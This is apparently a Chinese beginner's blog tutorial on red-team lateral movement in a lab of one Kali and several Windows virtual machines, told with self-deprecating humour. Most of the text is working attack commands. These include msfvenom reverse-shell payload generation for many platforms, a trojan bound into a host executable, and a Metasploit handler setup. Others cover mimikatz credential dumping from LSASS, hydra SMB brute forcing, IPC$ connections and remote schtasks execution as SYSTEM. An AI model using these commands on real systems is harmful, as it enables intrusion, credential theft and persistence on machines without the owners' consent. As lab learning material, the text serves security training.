前言:
最近有一点点忙,快过年了,最近也接触到了我入行以来的第一次红队项目,虽然最后还是拉稀了,但是看到大家都没啥成果,我的心顿时舒服了不少......
这次的学习让我认识到了自己的不足,也让我明白了还是要继续学习,这一次的红队项目大家都没能成功进行内网漫游,但是我和他们不一样,在他们还在猛攻web的时候我已经开始提权了,当他们还在想怎么找其他的资产的时候我已经开始横向了,好吧,我承认这都是我凭空想象的,我称之为----“遐想流-最强无用之终极奥义之漏洞扫描专家”
经过我不断地想象,在我连续换了三个枕头和睡姿之后,我终于成功的漫游了,没错,在睡梦中我漫游了,从我家床上漫游到了我家的地板上......
好啦,首先我们进入到今天的正题,这是一次十分基础的文章,仅供小白参考,大佬勿扰
此次运用到的技术总结如下:
1. msfvenom 生成马子
2. msfconsole 监听、上马以及一些小技巧
3. mimikatz的获取hash密码的两种方式
4. hydra进行协议口令爆破
5. 创建IPC$
6. 创建计划任务
生成监听马子
-p, --payload <payload> 指定需要使用的payload(攻击荷载)。
-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch <architecture> 指定payload的目标架构,这里x86是32位,x64是64位 -platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行 --payload-options 列举payload的标准选项
-o, --out <path> 保存payload
-v, --var-name <name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项 --help-formats 查看msf支持的输出格式列表
这里举出一些利用msfvenom生成shell的命令:
Linux:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
Python:
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash:
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl:
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
此次实验的是,一台kali虚拟机,三台windows虚拟机环境,假装自己通过kali虚拟机拿下了其中一台windows虚拟机而后进行简单的横向演示,纯新手演示,大佬勿喷
我这里使用的是:
msfvenom -p windows/meterpreter_reverse_tcp LHOST=监听地址 LPORT=监听端口 -f exe -o xiaokui1.exe -x xiaokui.exe
这条命令是生成一个马子,监听地址为本机地址,-f 指定类型,-x 指定捆绑文件 -o 保存的文件名
接下来进入msfconsole进入监听模式
msfconsole
msfconsole 进入
use exploit/multi/handler 固定格式
set payload windows/meterpreter/reverse_tcp固定格式
set lhost 192.168.43.213 本机ip
set lport 4444 监听端口
Exploit 攻击
将马子传入值 192.168.43.144 windows主机后运行即可上马,假装自己是通过漏洞传上去的(狗头狗头)
上马之后进入到我们的后渗透阶段,因为meterpreter与系统命令还是有一丢丢小区别的,相信大家也看到了,直接执行系统命令是不行的
常见的可以直接执行的操作系统文件命令如下:
1. 查看文件内容
cat 文件目录\文件名
2. 删除指定的文件:
del 文件目录\文件名
3. 上传文件到目标机主上,
upload 攻击者文件目录/文件名 受害者文件目录\
4. 下载文件到本机上:
download 文件目录\文件名 /root/Desktop/
5. 编辑文件:
edit c:\boot.ini
6. 列出在当前目录中的文件列表
ls/dir
7. 进入目录文件下
cd c:\\
8. 删除文件
rm file
9. 在受害者系统上的创建目录
mkdir dier
10. 受害者系统上删除目录
rmdir
11. 修改目标主机上的文件名
mv
14. 用户登录数
enumdesktops
执行此命令可进入cmd交互,实际上直接输入shell也可以
execute -H -i -f cmd.exe
execute 命令如下
-H 创建隐藏在视图之外的流程。
-a <opt>传递给命令的参数。
-c 通道化I/O(交互所需)。
-d <opt>使用-m时要启动的“虚拟”可执行文件。
-f <opt>要运行的可执行命令。
-h 帮助菜单。
-i 创建流程后,我会与流程进行交互。
-k 在MeterMeters当前桌面上执行进程
-m 从内存中执行。
-s <opt>以会话用户的身份在给定会话中执行进程
-t 使用当前模拟的线程令牌执行进程
骚姿势来了,由于直接执行的马子容易被察觉,所以可以进行隐秘性极好的远程加载,马子不直接传入受害机,且进程名字可以进行隐藏
execute -H -m -d notepad.exe -f /root/xiaokui2.exe -a "-o xiaokui2.txt"
虽然失败了,但是可能是环境问题
使用mimikatz获取明文密码
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords
其实米米卡兹获取密码有两个方式,一个是在线读取,一个是离线读取,在线读取需要将米米卡兹上传至目标主机内,这样的话当然会被杀毒软件给杀了,所以需要进行免杀操作,我当然不会免杀了,所以推荐大家使用第二种方式,离线读取。
我先讲解在线获取哈,这里由于还不知道密码,所以不能直接登录到目标主机上,由于新建用户会留下很多日志后期不好清理,所以这里直接使用meterpreter进行读取
成功获取明文密码,别问我为啥是123456,因为太复杂怕不是解不开
使用米米卡兹进行离线读取
进入目标主机的任务管理器,找到 lsass.dmp文件,单击右键,进行创建转储文件
使用米米卡兹读取lsass.dmp文件
sekurlsa::minidump C:\Users\Administrator\AppData\Local\Temp\lsass.DMP
如果看到 Seitch to MINIDUMP 说明加载成功,而后直接执行
输入
sekurlsa::logonPasswords full
密码获取完毕
本来想来个横向演示的,后来想起来其他的虚机密码都不是弱口令,改起来还不想改,就不拿他们演示了,就假装这台受害机是另一台内网内目标好啦
Hydra密码爆破
首先当然是先nmap查看一下端口状态
不难发现此时开放了139/445端口
可以利用hydra进行协议smb爆破,命令如下
hydra -l administrator -P /usr/share/nmap/nselib/data/passwords.lst smb://192.168.43.144
IPC的建立
net use \\192.168.43.144\ipc$ "123456" /user:administrator
kali的net use建立管道的命令由于系统的差异性,所以此时使用另一台windows虚机进行操作
查看当前连接
net use
查看目标机C盘目录
dir \\192.168.43.157\c$
查看目标机进程
tasklist /S 192.168.43.144 /U administrator /P 123456
将小马子复制进目标机
copy J:\xiaokui1.exe \\192.168.43.144\C$
创建计划任务
这里我分享两种创建方式
方式一:
使用at方式创建计划任务
查看目标机当前时间,这一步是为了设置计划任务执行时间,因为有些主机时间与我们真实机是有差异的
net time \\192.168.43.144
创建at计划任务
at \192.168.43.144 9 13:31:00 C:\xiaokui1.exe Added a new job with job ID = 100
这就没办法了,命令是没问题的,但是在我这个虚机里at被弃用了,可恶啊,那么直接进行方案2
方式二:
schtasks命令
schtasks /create /s 192.168.43.144 /u administrator /p 123456 /ru "SYSTEM" /tn test /sc DAILY /tr c:\xiaokui1.exe /F
创建计划任务,/s 指定远程机器名或 ip 地址,/ru 指定运行任务的用户权限,这里指定
为最高的 SYSTEM,/tn 是任务名称,/sc 是任务运行频率,这里指定为每天运行,并没什么
实际意义,/tr 指定运行的文件,/F 表示如果指定的任务已经存在,则强制创建任务并抑制
立即执行计划任务
schtasks /run /s 192.168.43.144 /u administrator /p 123456 /tn test /i
可以看到,肉鸡上线了
需要说的是,其实创建schtasks命令不需要使用用户名密码,因为创建ipc$已经简历成功,不过一般情况下我还是喜欢使用的
删除计划任务命令如下:
schtasks /delete /s 192.168.43.144 /tn "test" /f
删除ipc$命令如下:
net use \\192.168.43.144\ips$ /del
最后在我的幻想下,我直接用弱口令打穿了内网,然后拿出了我用了十年的内核溢出提权马将所有的权限都提升到了root和system权限,又删除了日志留下了后门和不落地马子之后,潇洒的提交了报告。
我成功的得到了公司和客户的高度认可,并赠予我2022年度最佳做梦小能手的称号,同时提名为中国梦之幻想队称号,也没什么可说的,我相信大家只要多多吃花生喝啤酒,再去拼夕夕买个枕头,也一定有机会做一个这么牛逼的梦的,好了,今天做梦结束了,承让了各位